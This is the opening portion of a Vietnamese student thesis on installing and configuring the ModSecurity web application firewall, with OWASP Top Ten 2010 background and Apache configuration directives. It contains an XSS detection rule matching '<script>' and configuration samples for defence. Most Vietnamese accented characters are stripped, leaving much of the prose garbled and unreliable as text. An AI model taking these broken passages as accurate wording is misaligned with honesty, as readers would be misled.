You are on page 1of 95

DRAFT1

minhtamnw@gmail.com

MC LC
I.

PHIU GIAO TI........................................................................................................... 5

II. NHP ............................................................................................................................. 6


IV. GII THIU MOD_SECURITY.........................................................................................7
CHC NNG.......................................................................................................................... 7
Parsing.................................................................................................................................. 7
Buffering............................................................................................................................... 7
Logging................................................................................................................................ 7
Rule Engine.......................................................................................................................... 8
CU TRC RULE TRONG ModSecurity..............................................................................8
QUY TRNH X L TRONG ModSecurity...........................................................................8
Request Header (1)...............................................................................................................9
Request body (2)................................................................................................................... 9
Response headers (3)............................................................................................................9
Response body (4)..............................................................................................................10
Logging (5)......................................................................................................................... 10
KHUYN CO KHI TRIN KHAI THC T....................................................................10
V. TNG QUAN V TIU CHUN OWASP TOP TEN.......................................................11
VI.

CI T MODSECURITY...........................................................................................12

VII. CU HNH..................................................................................................................... 15
Cu hnh th mc................................................................................................................... 15
Cc tp tin cu hnh................................................................................................................ 15
Cc ch th trong tp tin cu hnh...........................................................................................16
Qun l Request Body...........................................................................................................17
Qun l Response Body.........................................................................................................18
Filesystem Locations.............................................................................................................. 18
File Uploads........................................................................................................................... 19
Debug Log............................................................................................................................. 19
Audit Log............................................................................................................................... 19
Default Rule Match Policy.....................................................................................................20
Verifying Installation.............................................................................................................. 20
VIII. OWASP MODSECURITY CORE RULE SET...............................................................20
2

Gii thiu............................................................................................................................... 20
Trin khai OWASP ModSecurity CRS...................................................................................21
Kim tra kt qu..................................................................................................................... 22
IX. TNG QUAN V RULE...................................................................................................23
Gii thiu............................................................................................................................... 23
Variables................................................................................................................................. 24
Request variables................................................................................................................ 25
Server variables..................................................................................................................26
Response variables.............................................................................................................. 26
Miscellaneouse variables....................................................................................................27
Parsing flags....................................................................................................................... 27
Collections variables...........................................................................................................28
Time variables....................................................................................................................28
Operators................................................................................................................................ 29
Stringmatching operators..................................................................................................29
Numerical operators............................................................................................................ 30
Validation operators............................................................................................................30
Miscellaneous operators.....................................................................................................30
Actions................................................................................................................................... 31
Disruptive actions...............................................................................................................31
Flow actions........................................................................................................................ 31
Metadata actions................................................................................................................. 32
Variable actions................................................................................................................... 32
Logging actions..................................................................................................................32
Special actions.................................................................................................................... 33
Miscellaneous Actions........................................................................................................33
X. RULE LANGUAGE TUTORIAL......................................................................................33
Tng quan.............................................................................................................................. 33
Hng dn s dng bin (variable)........................................................................................33
Hng dn s dng lin kt rule (chain)................................................................................34
Hng dn s dng ton t ph nh.....................................................................................34
Variable Counting..................................................................................................................35
3

Hng dn v action..............................................................................................................35
Action Defaults................................................................................................................... 35
Unconditional Rules...........................................................................................................36
Using Transformation Functions.........................................................................................36
Blocking............................................................................................................................. 37
Changing Rule Flow...........................................................................................................37
Capturing Data.................................................................................................................... 38
Variable Manipulation.........................................................................................................39
Metadata............................................................................................................................. 39
XI.

PHN TCH CC RULE NG DNG THC T........................................................40

Trng hp 1: Chng tn cng Replay attack thng qua c ch nh token ngu nhin.......40
Trng hp 2: Pht hin cc Session cookie khng hp l....................................................43
Trng hp 3: Phng chng phng php khai thc HTTP Reponse Spliting.......................48
Trng hp 4: Phng chng phng php khai thc Path-Traversal......................................50
Trng hp 5: Pht hin nguy c l thng tin th tn dng....................................................52
Trng hp 6: Pht hin hnh vi ng nhp bruteforce.........................................................54
XII. PH LC........................................................................................................................ 61
DANH MC L HNG BO MT OWASP 2010.............................................................61
DANH MC CNG C H TR KIM TRA BO MT NG DNG WEB.................64
DANH MC THAM KHO KHAI THC L HNG BO MT NG DNG WEB.....67
XIII. TI LIU THAM KHO...............................................................................................91

I.

PHIU GIAO TI

Tn n:

Nghin cu ng dng Mod Security bo v web


server

Ngi hng dn:

Lu Thanh Tr

Thi gian thc hin: 14 tun


S lng SV
I.

Mc ch

Cc firewall truyn thng khng mnh bo v cc web server. ModSecurity cho php
bo v web server (mt/nhiu) thng qua c ch can thip trc tip mc ng dng.
n ny nhm nghin cu v ng dng ModSecurity bo v h thng web bt k.
II.

II.

Yu cu i vi sinh vin thc hin

Sinh vin c kin thc c bn v Linux, web


Sinh vin c kin thc v security, html, lp trnh web
III. yu cu
Sinh vin nm r hot ng ca h iu hnh Linux
Sinh vin nm r web, html, http, PhP.
IV. Sn phm
H thng Mod Security trin khai hon chnh bo v h thng web
V. Ti liu tham kho
Cc gio trnh do ging vin ngh, Internet
Ngy 28 thng 02 nm 2013
K tn

TS. Lu Thanh Tr

II.

NHP

Ngy nay, ng dng web trong doanh nghip v c quan chnh ph phi i mt vi hai
thch thc ln l: gim thiu nguy c bo mt v bo m quy trnh trong cng nghip v/hoc
nhng quy nh chnh ph. May mn thay khi tn ti mt gii php an ton thng tin sn sng
h tr cc t chc CNTT t c c hai tiu ch trn ti cng mt thi im. OWASP cho
php cc chuyn gia an ninh CNTT gim thiu c cc cuc tn cng bng cc ch ng v
lin tc cng c cc cu hnh cu hnh an ninh ca OS, ng dng web v Web Application
Firewall. ng thi, cc d n thuc chun OWASP cho php cc kim sot vin gim st vic
tun th cc chnh sch bt buc trong t chc, doanh nghip.
ModSecurity l mt sn phm thuc d n OWASP, cho php ngi dng cu hnh, ty
chnh cc phng thc pht hin tn cng vo web server. Phin bn ModSecurity hin ti
h tr Apache, Nginx v IIS. Cng vi d n ModSecurity Core Rule Set th vic trin khai h
thng WAF cng d dng hn cho nhn vin h thng cng nh cc chuyn vin bo mt.
III.

IV.

GII THIU MOD_SECURITY

Mod_Security l mt module m rng cho cc chng trnh web server nh Apache, Nginx,
IIS v hot ng nh mt firewall ti lp ng dng web. Cng vi s gia tng v phng php
tn cng web th mod_security cng cp nht nhng rule v a ra nhiu cch phng chng
trong m ngun ca chng trnh. Mt s tnh cht m mod_security c th dng lm Web
Application Firewall:
Tnh linh ng (Flexibility)
Vic phn tch lung HTTP theo mt tiu ch nht nh trong thc t thng gp vn l
lm sao c th so trng mu m bn mun. Ngoi ra, do nhu cu ca tng h thng web l
khc nhau dn n vic phn tch trn tng loi ng dng cng khc nhau. Mod_security kt
hp vi OWASP pht trin cc tp rule mu (Core Rule Set) nhm to ra tnh linh ng cho
tng m hnh web khc nhau, h tr ngi qun tr phn tch theo nhu cu thc t ca h thng
ang qun tr.
Tnh th ng (Passivity)
ModSecurity s khng thc thi cc tc v nu nh ngi qun tr vin khng ch nh cng
vic c th cho chng trnh, vic ny l kh quan trng trong mt ng dng c nhim v phn
tch nguy c nh ModSecurity. Mi cnh bo s c thc hin thng qua c ch phn tch v
quyt nh tng tc vi h thng s do ngi qun tr thc hin.
CHC NNG
ModSecurity hot ng vi chng trnh web server (v d: Apache) s thc hin cc tc v
nh sau:
Parsing
ModSecurity s phn tch cc d liu lun chuyn qua h thng thnh cu trc d liu m
ModSecurity nh ngha sn. Cu trc ny s c chuyn qua c ch so trng mu trong tp
rule phn tch nguy c.
Buffering
Chc nng buffer (m) ng vai tr kh quan trng trong c ch hot ng ca ModSec.
Vic ny c ngha khi cc request gi n ng dng web th phi thng qua ModSecurity
trc khi n ng dng x l v nhng response cng s c phn tch trc khi tr v pha
client. C ch ny l cch duy nht c th ngn chn cc cuc tn cng thi gian thc, cc
d liu m ModSecurity nhn c v phn tch s c lu tr trong RAM (bao gm request
body v response data)
Logging
ModSecurity h tr ghi nht k cc gi tin HTTP: request headers, request body, response
header, response body nhm h tr ngi qun tr phn tch nguy c m h thng ang gp
phi c th ra quyt nh kim sot.
7

Rule Engine
Cc tp mu trong ModSecurity ng vai tr quan trng trong vic pht hin cc dng tn
cng v thc hin phng chng. ModSecurity cng pht trin vi d n OWASP pht trin cc
mu phn tch v phng chng cc tn cng h thng web (Tham kho
https://www.owasp.org/index.php/Category:OWASP_ModSecurity_Core_Rule_Set_Project)
Cc phn nhm m CRS h tr:

HTTP Protection
Real-time Blacklist Lookups
Web-based Malware Detection
HTTP Denial of Service Protections
Common Web Attacks Protection
Automation Detection
Integration with AV Scanning for File Uploads
Tracking Sensitive Data
Trojan Protection
Identification of Application Defects
Error Detection and Hiding

CU TRC RULE TRONG ModSecurity


Tt c cc hot ng trong ModSecurity hu ht s lin quan n hai phn chnh l: cu hnh
(configuration) v cc tp lut (rule). Phn cu hnh ch nh cch thc x l d liu, trong khi
cc rule s quyt nh thc hin cc hnh vi (action) vi d liu c x l.
Mt v d v rule: SecRule ARGS "<script>" log,deny,status:404
Cu trc chun ca mt rule trong ModSecurity bao gm 3 phn chnh:
SecRule VARIABLES OPERATOR ACTIONS
VARIABLES: xc nh v tr d liu m ModSecurity s tm kim mu. Trong v d trn,
tham s ARGS nhm ch nh tm kim mu trong tt c cc tham s trong request.
OPERATOR: ch nh cch m ModSecurity s tm kim mu. Cc operator c dng theo
dng Regular expression nhm to nn c ch phn tch linh ng cho cc rule.
ACTIONS: ch nh hnh ng m ModSecurity s thc hin khi c mt mu c so trng.
Trong v d trn, phn action c vit log,deny,status:404 c ngha l: khi trng mu <script>
trong gi tin th thc hin ghi log, deny gi tin bng cch s dng m trng thi 404 (Not
found).
QUY TRNH X L TRONG ModSecurity
Trong ModSecurity mi phin phn tch s thc hin ln lt qua 5 bc (pha), ti mi bc
ModSecurity s thc thi cc rule tng ng nhm pht hin v phng chng cc khai thc.

Hnh 1: Quy trnh x l ca ModSecurity (ngun www.Modsecurity.org)


Request Header (1)
y l bc u tin trong qu trnh thc hin phn tch gi tin. Mc ch ca bc ny
nhm cho php ngi vit rule tng tc vi cc request trc khi thc hin cc yu cu trong
phn HTTP body. Phn ny kh quan trng phn tch cc khai thc da vo HTTP method
cng nh da vo URL nh SQL Injection, Reflect XSS, Local file include
Request body (2)
Bc 2 l qu trnh kim tra chnh trong qu trnh client gi request n server, phn ny s
c hiu qu khi ngi dng c s dng phng thc POST hoc PUT upload tp tin ln pha
server. Vic kim tra ny bo m d liu a ln server l an ton, trnh tnh trng upload m
c hoc cc dng tn cng nhng Stored XSS, Ajax Injection
Response headers (3)
Nhng request c x l ti server s c tr v cho ModSecurity kim tra trng thi
trong phn respone header. Trc khi phn respone body c c th ModSecurity s da vo
tp rule xc nh c cn kim tra ni dung d liu trong phn body hay khng.
V d: m trng thi tr v l 404 (Not found) th lc ny s khng cn kim tra ni dung gi
tin tr v.

Response body (4)


Sau khi ModSecurity hon thnh vic kim tra ti respone header th ni dung trong phn
body s c kim tra so trng vi mu trong tp lnh. Vic ny l kh hiu qu pht hin
v phng chng xm nhp trong trng hp bc 1 v 2 khng pht hin c tn cng.
V d: trong khai thc SQL injection, nu hacker c gng s dng mt s cng ngh evasion
th vic pht hin khi request l kh khn. Khi khai thc thnh cng, ModSecurity s phn tch
kt qu trong gi tin tr v pht hin nu nh cu truy vn thnh cng.
Logging (5)
Vic ghi log s ghi nhn cc cnh bo cng nh quy trnh lm vic ca ModSecurity.
KHUYN CO KHI TRIN KHAI THC T
Nhm bo m tnh tnh linh ng trong vic pht hin cng nh bo v theo thi gian thc,
ModSecurity cn s dng mt lng ti nguyn CPU v RAM bo m hot ng ng
mc ch khi trin khai. Vic s dng ti nguyn ph thuc nhiu vo phn cu hnh v cch
trin khai trn tng h thng khc nhau. Di dy l mt s im chnh cn ch :
ModSecurity s phn tch cc c php m apache s thc hin, v th h thng ca bn s c
th tng tiu th ti nguyn CPU thc hin tc v.
Vic phn tch linh ng trong mt s trng hp s cn mt lng ti nguyn kh ln
phn tch. V d: XML, JSON, AJAX
Vic qun l d liu upload t pha client yu cu thm ti nguyn I/O (nh HDD), trong
mt s trng hp s gy ra tnh trng trng lp d liu trn h thng.
D liu trong request v resopone c lu tr m trong RAM thc hin cc tc v chn
theo thi gian thc.
Mi rule trong phn cu hnh s s dng CPU (cho phn operartor) v RAM (dng
chuyn i d liu u vo trc khi qua phin phn tch)
Vic s dng cc Regular expression s tn cc ti nguyn nhiu hn.
Cc hot ng I/O s tng cao cho vic ghi nht k trong qu trnh hot ng ca
ModSecurity (full transaction loging).
Khi trin khai thc t ModSecurity, bn cn ch n nhng iu trn c th xc nh
c ti nguyn cn thit ModSecurity hot ng n nh. Trong trng hp bn khng th
thay i ti nguyn phn cng, th ti khuyn bn nn thng xuyn theo di trng thi hot
ng ca h thng, rt ra nhng kinh nghim nhm iu chnh hoc gim bt chc nng,
ruleset ph hp m vn m bo an ton cho vic hot ng. Nu nh t chc m bn ang
qun l s dng mt s cng ngh o ha th vic iu chnh ti nguyn s thun tin hn
ModSecurity hot ng.
Mt cch khc trin khai ModSecurity trn thc th l dng nh mt reverse proxy, trong
trng hp ny ti nguyn cho ModSecurity s n nh hn so vi h thng tch hp (CPU,
RAM, I/O hot ng trng thi cao).
10

V.

TNG QUAN V TIU CHUN OWASP TOP TEN

OWASP (Open Web Application Security Project) l mt d n phi li nhun, tp trung vo


vic ci thin tnh bo mt ca ng dng web. Thnh vin ca d n l cc c nhn, t chc,
chuyn gia cng ng gp cc m ngun, cng c h tr kim tra l hng ng dng web.
Nm 2010, cng ng OWASP xut bn Ti liu hng dn kim tra ng dng Web phin
bn 3 (OWASP Testing Guide v3: https://www.owasp.org/index.php/OWASP_Testing_Project).
Ti liu lit k v phn nhm cc l hng bo mt c bit n trong ng dng web. ng
thi ni dung ca ti liu ny m t cc d n c cng ng pht trin, bao gm d n WAF
ModSecurity.
OWASP phn loi cc l hng thnh 10 phn nhm chnh:
A1-Injection

A2-Cross Site
Scripting (XSS)

A3-Broken
Authentication and
Session Management
A4-Insecure Direct
Object References

A5-Cross Site
Request Forgery
(CSRF)
A6-Security
Misconfiguration

A7-Insecure

Nhm ny bao gm cc l hng nh SQL injection, OS


command injection, LDAP injectioncc l hng trong phn
nhm ny cho php hacker truy cp hoc chn cc d liu gi vo
h thng thng qua cc cu truy vn d liu.
XSS xut hin khi mt ng dng web cho php ngi dng
nhp cc d liu vo m khng thng qua kim duyt ni dung,
nhng d liu ny s tng tc trc tip vi nhng ngi dng
khc cng s dng website. Nguy c to ra l hacker c th chn
cc m kch bn nh HTML, Javascript nhm n cp
SessionCookie, thay i giao din (deface) hoc chuyn hng n
trang c m c khc.
Phn nhm ny lit k cc nguy c v chc nng xc thc v
qun l phin (session management) trong ng dng web. Thng
thng cc chc nng ny khng c trin khai tt, cho php
hacker vt qua c ch kim duyt ngi dng.
Nguy c trong nhm A4 thng c gp trong trng hp cc
lp trnh vin s dng tham chiu n mt tp tin, th mc hoc
cc truy vn database trong m ngun. Nu cc tham chiu ny
khng c qun l cht ch, th vic truy cp d liu tri php t
bn ngoi l rt nguy him.
Mt cuc tn cng CSRF yu cu mt ngi dng ng
nhp. Tip theo, hacker s chn cc m kch bn c dng sn
vo ni dung trang web nhm thc thi mt hnh ng bt hp php
vi quyn ca ngi dng ng nhp.
Cc yu cu v bo mt ng dng web cng bao gm vic cu
hnh v trin khai h thng, ng dng webserver (Apache, Nginx,
Tenginx), c s d liu (MySQL, Oracle), h iu hnh
(Linux, Windows). Tt c cng vic thit lp mi trng cho
ng dng web hot ng cn c ln k hoch theo di, kim tra,
cp nht thng xuyn nhm gim thiu nguy c h thng b khai
thc.
Rt nhiu ng dng web khng quan tm n vic bo v d
11

Cryptographic Storage

liu nhy cm nh thng tin th tn dng, SSN v cc thng tin xc


thc. Vic hacker thu thp cc d liu nhy cm khng c m
ha (encrypt) hoc bm (hash) s to ra mi nguy him ln cho
nhng website cho php giao dch thng qua thng mi in t.
A8-Failure to
Hu ht cc ng dng thng thc hin kim sot vic truy cp
Restrict URL Access
thng qua URL (thng qua c ch Rewrite). Vic gii hn quyn
truy cp vo cc tp tin, th mc nhy cm l cn thit. Trong mt
s tnh hung, vic kim sot ny khng c qun l u to
nguy c xm nhp tri php vo ng dng (v d: th vin fckditor
thng c th truy cp trc tip khng cn xc thc).
A9-Insufficient
Thng tin xc thc c truyn qua mi trng mng truyn
Transport Layer
dn khng bo mt s to ra nguy c d liu b nghe ln. Vic ny
Protection
cng tng t nu nh ng dng s dng cc chng ch s
(certificate) vi cc kha yu (weak key), thut ton m ha yu
(weak algorithms) hoc chng ch ht hn s dng (expired).
A10-Unvalidated
Cc ng dng web thng chuyn hng ngi dng n
Redirects and Forwards nhng trang web hoc URL khc nhau. Hacker c th li dng c
ch ny chuyn hng ngi dng n nhng website cha
phn mm c hi hoc trang ng nhp gi.
D n OWASP ModSecurity Core Rule Set (CRS) s dng bn quyn ASLv2. Cc tp rule
trong CRS c phn loi theo tiu chun OWASP c th bo v my ch web theo tng
loi tn cng. Cc rule ny hot ng tt vi phin bn ModSecurity 2.5 tr ln.
Cc vn v trin khai ModSecurity CRS v phng php kim tra l hng sau khi trin
khai, bn c th tham kho ti mc OWASP MODSECURITY CORE RULE SET v PH
LC.

VI.

CI T MODSECURITY

Trc khi bn tin hnh ci t ModSecurity cho h thng, bn cn bit nhng phng thc
ci t cng nh mt s u im v khuyt im cho tng loi:
CCH CI T
Da vo phin bn ca
h iu hnh

U IM
T ng ci t
D dng bo tr

NHC IM
C th l phin bn c

Gi ci t ca bn th

T ng ci t

Ci t t m ngun

Bo m l phin bn mi
nht
C th s dng phin bn
th nghim

C th l phin bn c
Yu cu ti v cp nht
thng xuyn
Khng tin tng vo gi ci
t ng gi
C th gp cc vn khi
qun tr vin mun s
dng li phin bn c
trc

ba

12

C th ty bin, s dng cc
bn v khn cp trong tnh
hung pht hin li bo
mt
Trong phn ny, ti s hng dn bin dch t m ngun. ModSecurity c ti ti trang
web www.Modsecurity.org.
Trc khi ci t ModSecurity trn nn tng Linux, bn cn ci t mt s th vin h tr
nh sau: Apache Portable Runtime (APR), APR-util, bt module mod_unique_id trong Apache,
libcurl, libxml2, Lua 5.1 (ty chn), PCRE.
# yum install openssl openssl-devel pcre pcre-devel libxml2 libxml2-devel curl-devel pcre
pcre-devel
Ti phin bn ModSecurity mi nht ti trang chnh ca sn phm.
# wget http://www.Modsecurity.org/tarball/2.7.3/Modsecurity-apache_2.7.3.tar.gz
# wget http://www.Modsecurity.org/tarball/2.7.3/Modsecurity-apache_2.7.3.tar.gz.md5

Kim tra gi tin ti v


# md5sum c Modsecurity-apache_2.7.3.tar.gz.md5
Hnh 2: Kim tra MD5 tp tin ci t

Thc hin gii nn


# tar xvf Modsecurity-apache_2.7.3.tar.gz
# cd Modsecurity-apache_2.7.3
Bin dch ci t chng trnh
# ./configure
# make
# make install
Sau khi ci t thnh cng, ta cn cu hnh LoadModule trong tp tin cu hnh ca Apache
(mc nh trn CentOS l /etc/httpd/conf/httpd.conf)
13

B comment cho unique_id_module


LoadModule unique_id_module modules/mod_unique_id.so
Thm dng
LoadModule security2_module modules/mod_security2.so

Sau khi chnh tp tin httpd.conf, ta save li v tin hnh kim tra tp tin cu hnh, bo m
Apache hot ng bnh thng.
# httpd t

Khi ng li dch v httpd trn h thng, ng thi kim tra log file bo m dch v
hot ng tt.
# service httpd restart
#tail f /var/logs/httpd/error_log

14

Hnh 3: Log thng bo trng thi khi ng ca Apache


Apache hot ng bnh thng vi mod_security.

VII.

CU HNH

Cu hnh th mc
Trc khi thc hin cu hnh ModSecurity, ti s to mt danh sch cc th mc theo mt
nh dng sn. Vic ny gip ti qun l d dng cc d liu m ModSecurity to ra, ng thi
h tr trong vic bo tr v cp nht cc rule mi cho ModSecurity.
Binaries: /opt/modsecurity/bin
Configuration files: /opt/modsecurity /etc
Audit logs: /opt/modsecurity /var/audit
Persistent data: /opt/modsecurity/var/data
Logs: /opt/modsecurity/var/log
Temporary files: /opt/modsecurity/var/tmp
File uploads: /opt/modsecurity/var/upload
Location
/opt/modsecurity
/opt/modsecurity/bin
/opt/modsecurity/etc
/opt/modsecurity/var
/
opt/modsecurity/var/audit
/opt/modsecurity/var/data
/opt/modsecurity/var/log
/opt/modsecurity/var/tmp
/
opt/modsecurity/var/upload

Owner
root
root
root
root
apache

Group
apache
apache
root
apache
root

Permissions
rwxr-x--rwxr-x--rwx-----rwxr-x--rwx------

apache
root
apache
apache

root
root
apache
root

rwx-----rwx-----rwxr-x--rwx------

Cc tp tin cu hnh
Tp tin
main.conf
rules-first.conf

M t
Tp tin cu hnh chnh
Tp lnh thc hin u tin
15

rules.conf
rules-last.conf

Tp lnh thc hin chnh


Tp lnh thc hin cui cng

Thc hin to tp tin Modsecurity.conf trong th mc /etc/httpd/conf.d vi ni dung:


<IfModule mod_security2.c>
Include /opt/modsecurity/etc/main.conf
Include /opt/modsecurity/etc/rules-first.conf
Include /opt/modsecurity/etc/rules.conf
Include /opt/modsecurity/etc/rules-last.conf
</IfModule>
To mt tp tin cu hnh mu cho ModSecurity da vo tp tin ngh c sn, ti th mc
cha m ngun Modsecurity th hin lnh sao chp nh sau:
#cp Modsecurity.conf-recommended /opt/modsecurity/etc/main.conf
Cc ch th trong tp tin cu hnh
Ch th
SecArgumentSeparator
SecCookieFormat
SecDataDir
SecRequestBodyAccess
SecRequestBodyInMemoryLimit
SecRequestBodyLimit
SecRequestBodyLimitAction
SecRequestBodyNoFilesLimit
SecResponseBodyAccess
SecResponseBodyLimit
SecResponseBodyLimitAction
SecResponseBodyMimeType
SecResponseBodyMimeTypesClear
SecRuleEngine
SecTmpDir

M t
Sets the application/x-www-form-urlencoded
parameter separator
Sets the cookie parser version
Sets the folder for persistent storage
Controls request body buffering
Sets the size of the per-request memory buffer
Sets the maximum request body size
ModSecurity will accept
Controls what happens once the request body
limit is reached
Sets the maximum request body size,
excluding uploaded files
Controls response body buffering
Specifies the response body buffering limit
Controls what happens once the response body
limit is reached
Specifies a list of response body MIME types
to inspect
Clears the list of response body MIME types
Controls the operation of the rule engine
Sets the folder for temporary files

Qun l Request Body


Request bao gm hai thnh phn: request header mc nh lun c bt trong ModSecurity
v request body l ty chn theo di. Trong trng hp qun tr vin cn theo di ni dung
request body th cu cu hnh nh sau:
16

# Allow ModSecurity to access request bodies. If you don't, ModSecurity


# won't be able to see any POST parameters, which opens a large security
# hole for attackers to exploit.
#
SecRequestBodyAccess On
Khi chc nng qun l request body c s dng, th ModSecurity khng nhng s theo
di ni dung gi tin m cn s lu tr ni dung trong b m (buffer) phn tch trong trng
hp d liu gi n server cn nhiu hn mt gi tin HTTP. Nhm trnh tnh trng gy qu ti
cho b nh RAM, qun tr vin cn iu chnh tham s gii hn ph hp. C ba phn cu hnh
ch nh hot ng ca buffer. Hai ch th u tin dng gii hn ca cc request:
# Maximum request body size we will accept for buffering. If you support
# file uploads then the value given on the first line has to be as large
# as the largest file you are willing to accept. The second value refers
# to the size of data, with files excluded. You want to keep that value as
# low as practical.
#
SecRequestBodyLimit 13107200
SecRequestBodyNoFilesLimit 131072
Trong phin bn trc 2.5, ModSecurity ch h tr SecRequestBodyLimit dng gii hn
kch thc gi tin request n server, bao gm gi tin vi POST method bnh thng (v d:
nhp username, password) v cc gi tin dng POST method upload tp tin. Nhng nhm
pht trin ModSecurity thy rng: khi client dng POST upload tp tin, th qu trnh ny
khng s dng n RAM x l gi tin m ch dng I/O truyn d liu. V l do ny, trong
phin bn sau 2.5 th chc nng SecRequestBodyNoFilesLimit c thm vo nhm phn bit
gi tin dng upload tp tin v gi tin dng nhp d liu t client.
Ch th th ba trong phn ny l SecRequestBodyInMemoryLimit, dng iu khin hot
ng lu tr ni dung ca gi tin vo b nh RAM. Tham s trong phn ny ch c hiu qu
vi cc gi tin c nhim v upload tp tin (multipart/form-data)
# Store up to 128 KB of request body data in memory. When the multipart
# parser reachers this limit, it will start using your hard disk for
# storage. That is slow, but unavoidable.
#
SecRequestBodyInMemoryLimit 131072
Nhng gi tin c kch thc trong khong gii hn ti mc SecRequestBodyInMemoryLimit
s c lu tr trong RAM. Nhng gi tin c kch thc ln hn s c chuyn vo vng nh
swap trn cng lu tr v phn tch.
Qun l Response Body
Tng t nh gi tin request, cc gi tin respone cng bao gm hai phn l header v body
(trong mt s trng hp gi tin respone khng tn ti ni dung trong phn body). Ta cu hnh
vic theo di ni dung trong repone ti mc SecResponseBodyAccess.
17

# Allow ModSecurity to access response bodies.


# You should have this directive enabled in order to identify errors
# and data leakage issues.
#
# Do keep in mind that enabling this directive does increases both
# memory consumption and response latency.
#
#SecResponseBodyAccess On
SecResponseBodyAccess Off
Ti khuyn co nn tt chc nng theo di respone nhm gim thiu ti nguyn CPU v
RAM trn my ch. Hn na, hu ht cc cuc tn cng thng xut hin bn ngoi h thng,
nn vic theo di cc repone i khi l khng cn thit.Trong trng hp bn cn theo di d
liu phn hi t server, n gin l thit lp thnh gi tr thnh On.
Trong d liu m pha server tr v pha client thng bao gm nhiu thnh phn v kiu
khc nhau nh: html, css, js, jpg, xml Trong hu ht cc trng hp, th cc d liu tnh
(javascript, css ) khng to ra nguy c bo mt no cho h thng, do vy trong ModSecurity
ta cn ch nh r kiu d liu cn theo di trong phn SecResponseBodyMimeType
# Which response MIME types do you want to inspect? You should adjust the
# configuration below to catch documents but avoid static files
# (e.g., images and archives).
#
SecResponseBodyMimeType text/plain text/html text/xml
Filesystem Locations
Trong phn cu hnh ny, ta cn ch nh th mc lu tr tm thi nhm phc v cho chc
nng theo di ni dung tp tin ng ti ln pha server. Ngoi ra, th mc ny bao gm vic lu
tr cc session_cookie trong trng hp phc v cho cc rule chng khai thc thng qua
session_fixation hoc session_hijacking.
#-- Filesystem configuration -----------------------------------------------# The location where ModSecurity stores temporary files (for example, when
# it needs to handle a file upload that is larger than the configured limit).
#
# This default setting is chosen due to all systems have /tmp available however,
# this is less than ideal. It is recommended that you specify a location that's private.
#
SecTmpDir /tmp/
# The location where ModSecurity will keep its persistent data. This default setting
# is chosen due to all systems have /tmp available however, it
# too should be updated to a place that other users can't access.
18

#
SecDataDir /tmp/
File Uploads
Ti phn cu hnh qun l upload tp tin, ta cn ch nh th mc cha d liu tm thi trong
trng hp c tp tin c upload. Th mc ny s cha tp tin tm thi ModSecurity kim
tra trc khi a quan Apache x l ni dung tip theo.
Khuyn co: vic s dng chc nng theo di tp tin upload c th l nguyn nhn ca vic
lm tng dung lng lu tr do c nhiu tp tin trng lp ni dung, ng thi vic ny s lm
gim hiu sut ca ModSecurity. V l do ny, bn ch nn s dng chc nng ny khi tht s
cn thit.
# The location where ModSecurity will store intercepted
# uploaded files. This location must be private to ModSecurity.
SecUploadDir /opt/modsecurity/var/upload/
# By default, do not intercept (nor store) uploaded files.
SecUploadKeepFiles Off
Debug Log
Debug log s h tr qun ngi tr trong vic theo di hot ng ca ModSecurity. Log level
trong phn ny c khuyn co thit lp mc 3, nhm gii hn vic tng kch thc ca log
m vn bo m cho vic theo di h thng.
# Debug log
SecDebugLog /opt/modsecurity/var/log/debug.log
SecDebugLogLevel 3
Audit Log
Audit log c s dng vi mc ch ghi li cc phin (transaction) lm vic. Audit log c 3
mc khc nhau ch nh cch thc hot ng trong ModSecurity: SecAuditEngineare On
(ghi log tt c phin lm vic), Off (tt audit log) v RelevantOnly (ch ghi log da vo mu m
ngi dng ch nh).
# Thc hin ghi log cho cc yu cu c m li t 500-599 (li t pha server).
RelevantOnly
SecAuditLogRelevantStatus ^5
# Use a single file for logging.
SecAuditLogType Serial
SecAuditLog /opt/modsecurity/var/log/audit.log
# Specify the path for concurrent audit logging.
SecAuditLogStorageDir /opt/modsecurity/var/audit/

19

Default Rule Match Policy


Phn cu hnh rule mc nh cho ModSecurity l kh quan trng, v phn ny s quyt nh
h thng m bn s theo di c b b st cc tn cng trong trng hp cc tp rule khng th
pht hin c. Tuy nhin, ModSecurity khuyn co bn nn cu hnh khng nn chn tt c
cc kt ni khi ModSecurity hot ng.
SecDefaultAction "phase:1,log,auditlog,pass"
Verifying Installation
Sau khi hon thnh phn cu hnh, ti s kim tra hot ng ca ModSecurityuriy bng mt
rule n gin nh sau:
#vi /opt/modsecurity/etc/rules.conf
SecRule REQUEST_URI "dangerous" "id:'900721'phase:1,deny,status:406"
Rule trn hot ng trong trng hp khi mt ngi dng c truy cp vo URI c cha mu
dangerous, th Modsecurity s tr v m li 406.
[root@mod_security ~]# curl -I http://www.ModSecurity.com/dangerous
HTTP/1.1 406 Not Acceptable
Date: Thu, 30 May 2013 22:56:06 GMT
Server: Apache
Connection: close
Content-Type: text/html; charset=iso-8859-1

VIII.

OWASP MODSECURITY CORE RULE SET

Gii thiu
ModSecurity sau khi c ci t thnh cng cn c cu hnh cc tp rule c th
hot ng nh mt WAF. Tuy nhin, vic t vit v trin khai cc rule l kh phc tp v tn
thi gian ti u cc chc nng trong rule.
Nhm nghin cu Truswave SpiderLabs pht trin mt nhm cc tp lnh c tn l
OWASP ModSecurity CRS, bao gm cc ni dung gi tin ca kiu tn cng c bit n.
Mt tnh nng mnh m ca CRS l c th bo v nhng ng dng web ph bin cng nh
nhng ng dng web t pht trin ring bit.
Nhm mc ch bo v cc ng dng web ph bin, CRS phn loi ni dung cc rule da
trn cc phng php tn cng:
HTTP Protection: pht hin cc nguy c da trn giao thc HTTP nh Method (
GET HEAD POST ), phin bn HTTP ( 1.0, 1.1)
Real-time Blacklist Lookups: lc cc dy IP nguy him da vo mt bn th 3.
Web-based Malware Detection: xc nh cc m c trong ni dung trang web
bng cch s dng Google Safe Browsign API.
20

HTTP Denial of Service Protections: chng li dng tn cng t chi dch v


nh HTTP Flooding v Slow HTTP DoS.
Common Web Attacks Protection: pht hin mt s dng tn cng ph bitn
vo ng dng web Automation Detection: pht hin cc bots, crawler, chng trnh qut
(scanner) v cc hot ng thu thp thng tin.
Integration with AV Scanning for File Uploads: pht hin cc m c,
webshell, 0days thng qua cc chc nng upload tp tin.
Tracking Sensitive Data: theo di cc hot ng v chn l thng tin th tn
dng (trong trng hp website c hot ng thng mi in t).
Trojan Protection: pht hin cc mu trojan.
Identification of Application Defects: cnh bo cc li trong qun l cy hnh
ng dng webserver.
Error Detection and Hiding: gi cc m thng bo li gi v pha ngi dng.
Trin khai OWASP ModSecurity CRS
Tin hnh ti gi tin SpiderLabs-owasp-modsecurity-crs phin bn mi nht ti:
nh dng
GitHub
Repository
